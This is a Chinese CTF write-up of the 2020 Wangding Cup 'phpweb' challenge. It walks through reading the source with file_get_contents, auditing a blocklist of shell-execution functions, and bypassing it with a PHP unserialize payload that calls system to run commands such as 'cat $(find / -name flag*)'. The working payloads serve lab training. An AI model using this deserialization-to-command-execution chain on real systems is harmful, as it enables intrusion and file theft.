网鼎杯2020朱雀组-phpweb

1. 首页

F12查看网页源码，没有发现什么有用的信息，

2. burpsuite抓包

注意到最下面有传入两个参数func和p，func有点像funciton，猜测时执行动作，修改参数

试了后面的参数，得到过滤了参数system，最后大概摸清楚，func是一个函数名，而p是一个参数，所以可以猜测用func来执行p

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试了一下func=highlight_file&p=index.php
有回显但是很乱
然后用func=file_get_contents&p=index.php

得到index.php源码

<?php
   $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
   function gettime($func, $p) {
       $result = call_user_func($func, $p);
       $a= gettype($result);
       if ($a == "string") {
           return $result;
       } else {return "";}
   }
   class Test {
       var $p = "Y-m-d h:i:s a";
       var $func = "date";
       function __destruct() {
           if ($this->func != "") {
               echo gettime($this->func, $this->p);
           }
       }
   }
   $func = $_REQUEST["func"];
   $p = $_REQUEST["p"];

   if ($func != null) {
       $func = strtolower($func);
       if (!in_array($func,$disable_fun)) {
           echo gettime($func, $p);
       }else {
           die("Hacker...");
       }
   }
   ?>

3. 代码审计

3.1 过滤关键字符串

"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

以上为过滤掉的关键字符串。

发现unserialize函数没有过滤，所以可以用反序列化对序列化的参数进行转化

3.2 序列化构建

可以看出主要时一个Test类，这个类主要时有两个参数func和p

class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

针对这两个参数进行序列化

<?php
class Test {
    var $func="system";
    var $p = "ls";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a);
?>

获得序列化的数据：

1	O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

3.3 反序列化绕过

1	func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

得到当前目录下的所有文件

寻找flag文件常用命令小结：

system(‘ls’) : 列举当前目录下的所有文件
system(“find / -name flag”)：查找所有文件名匹配flag的文件
system(“cat $(find / -name flag*)”)：打印所有文件名匹配flag*的文件

<?php
class Test {
    var $func="system";
    var $p = "cat $(find / -name flag*";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a);
?>

1	O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:25:"cat $(find / -name flag*)";}

或者：

当cat如果被过滤时：
p=find / -name flag*
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
然后读取文件：
func=readfile&p=/tmp/flagoefiu4r93